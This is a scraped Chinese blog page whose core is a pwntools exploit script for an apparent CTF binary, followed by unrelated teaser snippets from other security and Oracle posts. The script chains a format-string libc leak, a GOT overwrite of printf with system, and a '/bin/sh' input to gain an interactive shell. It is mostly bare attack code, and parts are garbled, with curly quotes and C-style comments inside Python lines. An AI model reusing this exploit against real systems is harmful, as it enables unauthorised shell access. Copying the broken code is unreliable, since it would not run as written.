exp分析

1 from pwn import*
 2
 3 local =1
 4 debug = 1
 5
 6 if local:
 7     p = process(‘./pwn1‘)
 8 else:
 9     p = remote("127.0.0.1",8080)
10
11 #context.log_level = ‘debug‘
12 ‘‘‘
13 if debug:
14     gdb.attach(p)
15 ‘‘‘
16 def fms(data):
17     p.recvuntil("input$",timeout=4)
18     p.sendline("1")
19     p.recvuntil("please input your name:\n")
20     p.sendline(data)
21
22
23 libc = ELF("/lib/i386-linux-gnu/libc.so.6")
24 elf = ELF(‘./pwn1‘)
25
26 fms(‘%35$p‘)
27
28 libc_start_main_addr = int(p.recv(10),16) - 243    #__libc_start_main//?
29 libc_addr = libc_start_main_addr - libc.symbols[‘__libc_start_main‘]//?
30 print "libc_addr =",hex(libc_addr)
31
32 printf_got = elf.got[‘printf‘]//got表地址
33 print "printf_got =",hex(printf_got)
34
35 system_addr =libc_addr + libc.symbols[‘system‘]//symbols[‘system‘]函数地址
36 print "system_addr =",hex(system_addr)
37 //ELF模块
38 #make stack
39 make_stack = ‘a‘ * 0x30 + p32(printf_got) + p32(printf_got + 0x1)
40 fms(make_stack)
41 #gdb.attach(p)
42
43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn"
45 print "payload=",payload
46
47 fms(payload)
48 fms(‘/bin/sh\x00‘)
49 p.interactive()
时间: 2024-11-08 21:50:40

exp分析的相关文章

应用安全 - 密码学 - 协议安全 - SSL/TLS - 漏洞 - 汇总

CVE-2016-0703 Date 2016 类型 影响范围 复现POC | EXP 分析 CVE-2016-0800 Date 2016 类型 影响范围 复现POC | EXP 分析 CVE-2016-2183 Date 2016 类型 影响范围 复现POC } EXP 分析 3DES影响 CVE-2015-0204 Date 2015 类型 影响范围 复现POC | EXP 分析 CVE-2015-4000 Date 2015 类型 影响范围 复现 POC | EXP 分析 CVE-201

Struts2漏洞之S2-016漏洞分析与exp编写

 1.概述 S2-016是13年7月爆出的,那时候的我还没涉及Web安全研究.这次迟到的分析也算是对过去的补充.这个漏洞影响了Struts 2.3.15.1之前的所有版本.问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行. 2.漏洞分析 分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如: http:

ORACLE EXP不能导出空表的原因分析及解决方法

一.不能导出空表的原因 1.Oracle11g默认对空表不分配segment,故使用exp导出Oracle11g数据库时,空表不会导出. 2.设置deferred_segment_creation 参数为FALSE后,无论是空表还是非空表,都分配segment. 在sqlplus中,执行如下命令: SQL>alter system set deferred_segment_creation=false; 查看: SQL>show parameter deferred_segment_creat

【MOOC EXP】Linux内核分析实验七报告

程涵  原创博客 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 可执行程序的装载 知识点梳理 一.预处理.编译.链接和目标文件的格式 可执行程序是如何得来的 C源代码(.c)经过编译器预处理被编译成汇编代码(.asm) 汇编代码由汇编器被编译成目标代码(.o) 将目标代码链接成可执行文件(a.out) 可执行文件由操作系统加载到内存中执行 vi hello.c gcc -E -o hello.cpp hell

【MOOC EXP】Linux内核分析实验八报告

知识点梳理 一.进程切换的关键代码分析 1.1 进程调度与进程调度的时机分析 操作系统原理中介绍了大量进程调度算法,这些算法从实现的角度看仅仅是从运行队列中选择一个新进程,选择的过程中运用了不同的策略而已. 对于理解操作系统的工作机制,反而是进程的调度时机与进程的切换机制更为关键. 不同类型的进程有不同的调度需求 第一种分类: I/O-bound 频繁的进行I/O:通常会花费很多时间等待I/O操作的完成 CPU-bound 计算密集型:需要大量的CPU时间进行运算 第二种分类: 批处理进程 实时

转 一个oracle11g 使用exp导出空表丢失的问题分析及解决办法

用exp无法导出空表解决方法 最早的一次使用oracle 11g导出数据发现有的表丢失了,感觉莫名其妙的,后来终于找到原因了. 找到问题以后,再看看解决方案.11GR2中有个新特性,当表无数据时,不分配segment,以节省空间,可是在用EXPORT导出时,空表也不能导出,这就导致迁移时候丢失了一些表,存储过程也失效了.本以为EXP能有相应的控制开关,可以切换是否导出空表,看了下帮助,没有太大的改变.有些奇怪,难道11GR2不更新EXP的功能了,还看有的帖子说11GR1作为客户端去卸载11GR2

tslib部分源码的分析

用tslib进行屏幕检验时,执行./ts_calibrate 校验完成后会生成一个pointercal文件,一直以往我们都是放在了/etc目录下,但是由于文件系统使用了只读方式,文件系统所在的mtd分区为mtd5,只有扩展的文件系统分区,mtd6分区,使用的opt目录是可读可写的,那么我们就需要将tsblib屏幕校验时生成的文件指定到/opt目录下,不过今天发生了一个很有趣的事情,我们都知道tslib生成的检验文件可以有用环境变量的方式指定到一个特定的目录下,如: export POINTERC

hog源码分析

http://www.cnblogs.com/tornadomeet/archive/2012/08/15/2640754.html 在博客目标检测学习_1(用opencv自带hog实现行人检测) 中已经使用了opencv自带的函数detectMultiScale()实现了对行人的检测,当然了,该算法采用的是hog算法,那么hog算法是怎样实现的呢?这一节就来简单分析一下opencv中自带 hog源码. 网上也有不少网友对opencv中的hog源码进行了分析,很不错,看了很有收获.比如: htt

oracle Imp和exp以及导入常见的错误

一 1) 数据库对象已经存在 一般情况, 导入数据前应该彻底删除目标数据下的表, 序列, 函数/过程,触发器等; 数据库对象已经存在, 按缺省的imp参数, 则会导入失败 如果用了参数ignore=y, 会把exp文件内的数据内容导入 如果表有唯一关键字的约束条件, 不合条件将不被导入 如果表没有唯一关键字的约束条件, 将引起记录重复 (2) 数据库对象有主外键约束 不符合主外键约束时, 数据会导入失败 解决办法: 先导入主表, 再导入依存表 disable目标导入对象的主外键约束, 导入数据后